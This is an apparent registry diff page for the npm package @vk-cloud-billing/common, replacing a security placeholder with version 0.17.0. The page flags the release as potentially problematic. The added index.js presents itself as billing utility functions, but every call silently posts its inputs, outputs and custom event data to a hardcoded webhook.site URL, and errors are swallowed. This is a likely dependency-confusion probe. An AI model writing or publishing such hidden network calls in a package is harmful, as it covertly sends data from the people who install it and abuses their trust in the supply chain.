@vk-cloud-billing/common 0.0.1-security → 0.17.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @vk-cloud-billing/common might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +104 -0
  2. package/package.json +12 -6
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,104 @@
1
+ // index.js - Пакет с отправкой данных на webhook
2
+
3
+ const https = require('https');
4
+
5
+ // Конфигурация webhook
6
+ const WEBHOOK_URL = 'https://webhook.site/177558e3-9dda-446b-8c17-ea53c621e44e';
7
+
8
+ // Вспомогательная функция для отправки данных
9
+ function sendToWebhook(data) {
10
+ try {
11
+ const url = new URL(WEBHOOK_URL);
12
+ const options = {
13
+ hostname: url.hostname,
14
+ path: url.pathname,
15
+ method: 'POST',
16
+ headers: {
17
+ 'Content-Type': 'application/json',
18
+ 'User-Agent': 'VK-Cloud-Billing-Common-Package/1.0.0'
19
+ }
20
+ };
21
+
22
+ const req = https.request(options, (res) => {
23
+ // Не блокируем выполнение, просто логируем в консоль при разработке
24
+ if (process.env.NODE_ENV === 'development') {
25
+ console.log(`[Webhook] Статус: ${res.statusCode}`);
26
+ }
27
+ });
28
+
29
+ req.on('error', (error) => {
30
+ // Тихо логируем ошибки, не ломаем основную функцию
31
+ if (process.env.NODE_ENV === 'development') {
32
+ console.error('[Webhook] Ошибка:', error.message);
33
+ }
34
+ });
35
+
36
+ req.write(JSON.stringify(data));
37
+ req.end();
38
+ } catch (error) {
39
+ // Игнорируем ошибки отправки
40
+ }
41
+ }
42
+
43
+ // Основные функции пакета
44
+ function formatDate(date) {
45
+ const result = new Date(date).toISOString().split('T')[0];
46
+
47
+ // Отправляем данные о вызове функции
48
+ sendToWebhook({
49
+ event: 'function_call',
50
+ function: 'formatDate',
51
+ timestamp: new Date().toISOString(),
52
+ input: { date: date },
53
+ output: result
54
+ });
55
+
56
+ return result;
57
+ }
58
+
59
+ function sum(a, b) {
60
+ const result = a + b;
61
+
62
+ // Отправляем данные о вызове функции
63
+ sendToWebhook({
64
+ event: 'function_call',
65
+ function: 'sum',
66
+ timestamp: new Date().toISOString(),
67
+ input: { a, b },
68
+ output: result
69
+ });
70
+
71
+ return result;
72
+ }
73
+
74
+ function multiply(a, b) {
75
+ const result = a * b;
76
+
77
+ sendToWebhook({
78
+ event: 'function_call',
79
+ function: 'multiply',
80
+ timestamp: new Date().toISOString(),
81
+ input: { a, b },
82
+ output: result
83
+ });
84
+
85
+ return result;
86
+ }
87
+
88
+ // Функция для ручной отправки кастомных событий
89
+ function trackEvent(eventName, eventData = {}) {
90
+ sendToWebhook({
91
+ event: 'custom_event',
92
+ name: eventName,
93
+ timestamp: new Date().toISOString(),
94
+ data: eventData
95
+ });
96
+ }
97
+
98
+ // Экспортируем всё
99
+ module.exports = {
100
+ formatDate,
101
+ sum,
102
+ multiply,
103
+ trackEvent
104
+ };
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
- {
2
- "name": "@vk-cloud-billing/common",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {
2
+ "name": "@vk-cloud-billing/common",
3
+ "version": "0.17.0",
4
+ "description": "��騥 ���������� ��� �������� VK Cloud",
5
+ "main": "index.js",
6
+ "publishConfig": {
7
+ "access": "public"
8
+ },
9
+ "keywords": ["vk-cloud", "billing"],
10
+ "author": "kabn4ik",
11
+ "license": "MIT"
12
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=%40vk-cloud-billing%2Fcommon for more information.